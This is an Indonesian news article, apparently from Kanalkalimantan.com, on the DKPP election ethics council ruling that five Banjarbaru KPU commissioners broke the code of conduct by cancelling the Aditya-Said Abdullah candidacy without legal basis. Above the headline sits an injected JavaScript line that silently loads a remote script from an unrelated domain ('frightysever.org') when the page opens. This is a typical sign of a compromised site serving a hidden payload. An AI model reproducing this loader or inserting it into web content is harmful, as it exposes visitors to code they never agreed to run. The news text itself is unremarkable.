(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kesalahan KPU Banjarbaru Menurut DKPP: Pembatalan Paslon Tak Berdasarkan Hukum


KANALKALIMANTAN.COM, BANJARBARU – Dewan Kehormatan Penyelenggara Pemilu (DKPP) membacakan penjatuhan sanksi kepada 5 komisioner KPU Kota Banjarbaru, Jumat (28/2/2025) siang.

Anggota DKPP di ruang sidang utama DKPP, Jakarta, menerangkan sejumlah alasan bahwa lima komisioner KPU Banjarbaru telah terbukti melanggar kode etik dan pedoman perilaku penyelenggaraan Pemilu.

Sejumlah dalil aduan yang dilayangkan oleh pengadu dinyatakan terbukti oleh DKPP.

Baca juga: TOK! DKPP Pecat Empat Komisioner KPU Banjarbaru

Sedangkan jawaban para teradu dengan tegas tidak meyakinkan DKPP. Hal itu dijelaskan Anggota DKPP, I Dewa Kade Wiarsa Raka Sandi saat pembacaan putusan.

Dia menjelaskan bahwa alasan para teradu yakni lima komisioner KPU Banjarbaru yang mendasarkan pembatalan Paslon (Pasangan Calon) Aditya Mufti Ariffin-Said Abdullah pada ketentuan bab 8 huruf a angka 1 huruf c Keputusan KPU Nomor 1229 tahun 2024, merupakan tindakan yang tidak dibenarkan oleh hukum dan etika penyelenggara Pemilu.

“Karena terkait dengan pembatalan Paslon yang melakukan administrasi pemilihan dengan tegas diatur dalam pasal 71 ayat (5) UU 10 tahun 2016, sehingga tindakan para teradu yang melakukan pembatakan Paslon berdasarkan Keputusan KPU Nomor 1229 tidak relevan dan tidak berdasarkan hukum,” tegas Anggota DKPP, I Dewa Kade Wiarsa Raka Sandi.

Baca juga: Anggaran Coblosan Ulang Pilwali Banjarbaru Disiapkan

Selanjutnya berkenaan status pembatalan Said Abdullah sebagai calon Wakil Wali Kota Banjarbaru sesuai Keputusan KPU Nomor 2702 dan seterusnya tertanggal 24 November 2024 menegaskan bahwa Said Abdullah selaku Calon Wakil Wali Kota bukan seorang petahana.

“Sehingga keputusan pembatalan terhadap Said Abdullah sebagai Calon Wakil Wali Kota Banjarbaru sebagaimana Keputusan KPU Banjarbaru Nomor 124 tahun 2024 tentang pembatalan Aditya-Said Abdullah sebagai Wali Kota dan Wakil Wali Kota juga tidak beralasan hukum,” tegas dia menjelaskan.

Selanjutnya pada angka 2 huruf f surat Keputusan KPU Banjarbaru itu juga disebutkan bahwa KPU memerintahkan KPU Banjarbaru atau para teradu untuk melakukan pencermataan terhadap keputusan pembatalan tersebut dengan melakukan telaah hukum.

Baca juga: Jum’at Bersih Pegawai Pemkab HSU di Dua Masjid

“Namun terungkap fakta bahwa para teradu tidak menindaklanjuti dan tetap pada keputusannya melakukan pembatalan, hal itu berdasarkan keterangan pihak terkait Ketua KPU Kalsel,” sambungnya.

Dengan demikan sambung dia, para teradu terbukti melanggar ketentuan pasal 6 ayat (2) huruf d, pasal 6 ayat (3) huruf a, c, dan f, kemudian pasal 7 ayat (1), pasal 10 huruf a, pasal 11 hutuf a dan d, pasal 15 huruf c dan g dan pasal 16 huruf a dan e Peraturan DKPP Nomor 2 tahun 2017.

Aturan pasal tersebut di atas juga dilanggar oleh komisioner KPU Banjarbaru karena para teradu berpendapat tidak terdapat alasan atau dasar hukum untuk menunda penyelenggara Pilkada ataupun melakukan percetakan surat suara baru.

Baca juga: Gaji Pokok Kapolda Rp5,5 Juta, Anak Bisa Habiskan Rp1,2 Miliar Sebulan

“Oleh karena itu para teradu tetap melakukan pemungutan suara pada 27 November 2024, dengan tetap menggunakan surat suara yang dicetak dua gambar paslon,” tuntas dia.

Para teradu terbukti melanggar kode etik dan pedoman perilaku penyelenggaraan pemilu karena disimpulkan terbukti tidak melaksanakan Pilkada Banjarbaru sesuai tata cara, prosuder dan mekanisme yang berlaku. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie

 


Muhammad Andi

Recent Posts

Alat Bukti Mobil yang Digunakan untuk Eksekusi Juwita Terparkir di Denpom Lanal Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Proses penyidikan kasus kematian wartawati media daring di Banjarbaru, Juwita, yang dibunuh… Read More

7 jam ago

Upayakan Partisipasi Pemilih dalam PSU Banjarbaru Meningkat, KPU Kalsel Pasang Spanduk

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan terus berupaya meningkatkan partisipasi pemilih… Read More

1 hari ago

Dilantik Serentak, Jajaran Badan Adhoc untuk PSU di Banjarbaru Resmi Bekerja

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan resmi melantik ribuan anggota Badan… Read More

1 hari ago

Libur Idulfitri, Pelanggan PTAM Intan Banjar Bisa Bayar Tagihan Lewat SMS Banking, ATM Bank, atau Layanan Pembayaran Online

KANALKALIMANTAN.COM, BANJARBARU - Sehubungan dengan libur hari besar pada akhir Maret dan awal April 2025… Read More

1 hari ago

H Muhammad Wiyatno Bersama Warga Kehangatan di Open House Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Rumah Jabatan (Rujab) Bupati Kapuas di Jalan Jenderal Sudirman, menjadi pusat… Read More

2 hari ago

Pemkab Banjar Gelar Halalbihalal di Mahligai Sultan Adam

KANALKALIMANTAN.COM, MARTAPURA - Momen 1 Syawal 1446 H kali ini bertepatan Senin (31/3/2025) digelar Halalbihalal… Read More

2 hari ago